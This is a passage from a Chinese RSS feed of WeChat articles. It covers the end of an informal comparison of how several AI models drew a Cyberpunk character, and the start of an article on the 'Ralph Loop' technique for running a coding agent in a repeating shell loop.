1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><p><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.75" data-s="300,640" data-type="png" data-w="800" type="inline" data-imgfileid="100000363" src="https://wechat2rss.xlab.app/img-proxy/?k=6da1249c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FTAFC5BLa6G05vPUJ9DZWMO4F2EC6DWlFYsBA0ese5bSpjb4BqCcU5AYibrkpJlfKPRsI6yY6yJooARa571MjmQ8tsiaHLWSc9z3EK4f8upLhg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></p></td></tr><tr style="color: rgb(0, 0, 0);background-attachment: scroll;background-clip: border-box;background-color: rgb(248, 248, 248);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;"><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><p><span leaf="">豆包这个……怎么说呢，一眼就能认出是 Rebecca，粉毛、红眼，背景还有个 NIGHT CITY。但这个 T-pose 站姿和僵硬的几何肢体，感觉像是刚从建模软件里导出来的初版 T-pose 模型，结构上完全不对。</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><p><span leaf="">Gemini 给我画了个……抽象派赛博格？虽然霓虹风格很酷，但兄弟，你这画的是谁啊？完全认不出来是 Rebecca。看来它对“impressive”的理解跑偏到视觉冲击力上去了。</span></p></td></tr><tr style="color: rgb(0, 0, 0);background-attachment: scroll;background-clip: border-box;background-color: rgb(255, 255, 255);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;"><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">GLM-5</span></strong></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">GPT-5.2-Codex</span></strong></td></tr><tr style="color: rgb(0, 0, 0);background-attachment: scroll;background-clip: border-box;background-color: rgb(248, 248, 248);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;"><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><p><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img js_insertlocalimg" data-ratio="1.25" data-s="300,640" data-type="png" data-w="800" type="inline" data-imgfileid="100000364" src="https://wechat2rss.xlab.app/img-proxy/?k=5e21dac8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FTAFC5BLa6G1QgnxDvYQdBDZFhuribMd4iciafznFOSbRibvp3uibfpTnBCqQSRImpZNoBXciatWVaRvh9h8cr6SIJq2iaZE6o267KBYgB6wU8GuicLQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><p><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img js_insertlocalimg" data-ratio="1.0013262599469497" data-s="300,640" data-type="png" data-w="754" type="inline" data-imgfileid="100000365" src="https://wechat2rss.xlab.app/img-proxy/?k=a88fded8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FTAFC5BLa6G0QdfiaoVMlsqicMxRVcU4rmLD2wCcyuibqrsWiabFy3tUOt6l36dhhfS98ibiaJTLM6Z5mCUx57ib9JLp8ThWZQrHIXkqvia6ajtGWBs0%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></p></td></tr><tr style="color: rgb(0, 0, 0);background-attachment: scroll;background-clip: border-box;background-color: rgb(255, 255, 255);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;"><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><p><span leaf="">GLM-5 也画出了粉毛，加了个“目标锁定”的 UI，试图营造战斗氛围。但这个几何小人的既视感太强了，手臂和身体感觉是分开的，结构问题很明显。</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><p><span leaf="">GPT-5.2-Codex 画的是什么玩意儿？作为人类我已经无法理解了，看起来像个忍者。</span></p></td></tr><tr style="color: rgb(0, 0, 0);background-attachment: scroll;background-clip: border-box;background-color: rgb(248, 248, 248);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;"><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">Kimi-K2.5</span></strong></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">Qwen3.5-Plus</span></strong></td></tr><tr style="color: rgb(0, 0, 0);background-attachment: scroll;background-clip: border-box;background-color: rgb(255, 255, 255);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;"><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><p><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img js_insertlocalimg" data-ratio="1.25" data-s="300,640" data-type="png" data-w="800" type="inline" data-imgfileid="100000366" src="https://wechat2rss.xlab.app/img-proxy/?k=4186c9dc&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FTAFC5BLa6G1HicrQHMd4elPbTmriatF5dric4cqBNTFkkh3YCnOEicELXG3TCn4tb6Dqx43IiciaZBKTjMribSp2MeAjGNrHpKoQ9pjcEgImQe9EG8%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><p><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img js_insertlocalimg" data-ratio="1.2415654520917678" data-s="300,640" data-type="png" data-w="741" type="inline" data-imgfileid="100000367" src="https://wechat2rss.xlab.app/img-proxy/?k=0dfb3094&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FTAFC5BLa6G1icGHgaicUB5e6RmFamDsjUfSbXlzbwAdDVc9ybQSRaW6ibMV5d4Yysw9j924sQIxVdN59CNbEawiaJIho7iahgplzcjp0IqvTL4dA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></p></td></tr><tr style="color: rgb(0, 0, 0);background-attachment: scroll;background-clip: border-box;background-color: rgb(248, 248, 248);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;"><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><p><span leaf="">Kimi 抓住了粉色双马尾和重武器这两个关键特征，能认出是 Rebecca。但这个人体结构……脖子又细又长，身体就是几个方块拼的，枪和手的连接方式完全违反物理定律。属于是“神似形不似”的典型。</span></p></td><td style="padding-top: 5px;padding-right: 10px;padding-bottom: 5px;padding-left: 10px;min-width: 85px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgba(204, 204, 204, 0.4);border-bottom-color: rgba(204, 204, 204, 0.4);border-left-color: rgba(204, 204, 204, 0.4);border-right-color: rgba(204, 204, 204, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><p><span leaf="">Qwen 的版本是个可爱的 Q 版扁平风，双马尾、双持手枪，特征明确。在它自己的极简风格里，结构算是完整的，没出什么大错。虽然简单，但至少没把人画崩。</span></p></td></tr></tbody></table></p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: unset;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;height: auto;justify-content: center;line-height: 1.5em;overflow-x: unset;overflow-y: unset;text-align: left;text-shadow: none;transform: none;width: 100%;-webkit-box-reflect: unset;"><span style="font-size: 22px;border-bottom-color: rgb(119, 48, 152);color: rgb(119, 48, 152);line-height: 1.5em;letter-spacing: 0em;background-attachment: scroll;background-clip: border-box;background-color: unset;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: 85%;height: auto;align-items: unset;border-top-style: none;border-bottom-style: solid;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: block;font-weight: bold;flex-direction: unset;float: unset;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 10px;padding-left: 0px;padding-right: 0px;text-align: center;text-indent: 0em;text-shadow: none;transform: none;-webkit-box-reflect: unset;"><span leaf="">最后</span></span></h2><p data-tool="mdnice编辑器" style="color: rgb(90, 90, 90);font-size: 15px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0em;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">一圈测下来，私以为这个 Rebecca Test 还是很有意思的。</span></p><p data-tool="mdnice编辑器" style="color: rgb(90, 90, 90);font-size: 15px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0em;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">即便在代码生成上已经如此强大的今天，模型们对于世界的“理解”在简单提示文本的引导下依然非常肤浅。它们或许能写出精妙的算法，但却画不好一个骑车的鹈鹕；它们能生成复杂的 SVG 代码，却理解不了一个动画角色的悲喜。</span></p><p data-tool="mdnice编辑器" style="color: rgb(90, 90, 90);font-size: 15px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0em;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">这条路还很长，不多说了，我得去想想下一个“不正经”的测试该是什么了。</span></p><p data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 10px;padding-right: 10px;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;font-family: Optima, PingFangSC-regular, serif;font-size: 16px;color: rgb(0, 0, 0);line-height: 1.5em;word-spacing: 0em;letter-spacing: 0em;word-break: break-word;overflow-wrap: break-word;text-align: left;" data-pm-slice="4 3 []"><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: unset;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;height: auto;justify-content: center;line-height: 1.5em;overflow-x: unset;overflow-y: unset;text-align: left;text-shadow: none;transform: none;width: 100%;-webkit-box-reflect: unset;"><span style="font-size: 22px;border-bottom-color: rgb(119, 48, 152);color: rgb(119, 48, 152);line-height: 1.5em;letter-spacing: 0em;background-attachment: scroll;background-clip: border-box;background-color: unset;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: 85%;height: auto;align-items: unset;border-top-style: none;border-bottom-style: solid;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: block;font-weight: bold;flex-direction: unset;float: unset;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 10px;padding-left: 0px;padding-right: 0px;text-align: center;text-indent: 0em;text-shadow: none;transform: none;-webkit-box-reflect: unset;"><span leaf="">参考资料</span></span></h2></p><p style="box-sizing: border-box;margin: 10px 0px;cursor: pointer;color: rgb(90, 90, 90);font-size: 15px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0px;padding: 8px 0px;font-family: Optima, PingFangSC-regular, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf=""><a href="https://simonwillison.net/2024/Oct/25/pelicans-on-a-bicycle/" target="_blank">https://simonwillison.net/2024/Oct/25/pelicans-on-a-bicycle/</a></span></p><p style="box-sizing: border-box;margin: 10px 0px;cursor: pointer;color: rgb(90, 90, 90);font-size: 15px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0px;padding: 8px 0px;font-family: Optima, PingFangSC-regular, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf=""><a href="https://simonwillison.net/2025/Dec/31/the-year-in-llms/" target="_blank">https://simonwillison.net/2025/Dec/31/the-year-in-llms/</a></span></p><p style="box-sizing: border-box;margin: 10px 0px;cursor: pointer;color: rgb(90, 90, 90);font-size: 15px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0px;padding: 8px 0px;font-family: Optima, PingFangSC-regular, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf=""><a href="https://www.reddit.com/r/LocalLLaMA/comments/1rqlaw4/new_benchmark_just_dropped/" target="_blank">https://www.reddit.com/r/LocalLLaMA/comments/1rqlaw4/new_benchmark_just_dropped/</a></span></p></div><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=78da1666&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzA4NzQwNzY3OQ%3D%3D%26mid%3D2247484016%26idx%3D1%26sn%3Da05936dab7c764cc6b6c49e0722ceb3c">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Wed, 18 Mar 2026 20:54:00 +0800</pubDate>
    </item>
    <item>
      <title>Ralph Loop 的前世今生</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzA4NzQwNzY3OQ==&amp;mid=2247484005&amp;idx=1&amp;sn=2dfd591760b81b935b94d9d7ea60d4bf</link>
      <description>while :; do cat PROMPT.md | claude-code ; done</description>
      <content:encoded><![CDATA[<p>原创 <span>黑屋Ω号</span> <span>2026-01-12 21:53</span> <span style="display: inline-block;">上海</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=c1faa310&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F5r3L9YiaerKciadiccDY9k0w03bGI6y0hJibTDH99FKVcvAAUd7vsDReY5RSdTc1GtaibDmlJmJWA926ZU19TUWUnxg%2F0%3Fwx_fmt%3Djpeg"/></p>
  <p>while :; do cat PROMPT.md | claude-code ; done</p>
  <div data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 10px;padding-right: 10px;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;font-family: Optima, PingFangSC-regular, serif;font-size: 16px;color: rgb(0, 0, 0);line-height: 1.5em;word-spacing: 0em;letter-spacing: 0em;word-break: break-word;overflow-wrap: break-word;text-align: left;" data-pm-slice="0 0 []"><h1 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;"><span style="font-size: 24px;color: rgb(119, 48, 152);line-height: 1.5em;letter-spacing: 0em;font-weight: bold;display: block;"><span leaf="">引言</span></span></h1><p data-tool="mdnice编辑器" style="color: rgb(90, 90, 90);font-size: 15px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0em;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">如果你最近关注 AI Agent 领域，一定会被一个叫 Ralph Loop 的词刷屏。从 GitHub 趋势榜到各类开发者播客，这个听起来略显古怪的名字正成为自动化工程的代名词。</span></p><h1 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;"><span style="font-size: 24px;color: rgb(119, 48, 152);line-height: 1.5em;letter-spacing: 0em;font-weight: bold;display: block;"><span leaf="">Ralph Loop 是什么</span></span></h1><p data-tool="mdnice编辑器" style="color: rgb(90, 90, 90);font-size: 15px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0em;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">Ralph Loop 并非由顶级实验室发布的论文定义，而是由开发者 Geoffrey Huntley (@GeoffreyHuntley) 在 2025 年中期提出。</span></p><p data-tool="mdnice编辑器" style="color: rgb(90, 90, 90);font-size: 15px;line-height: 1.8em;letter-spacing: 0.02em;text-align: 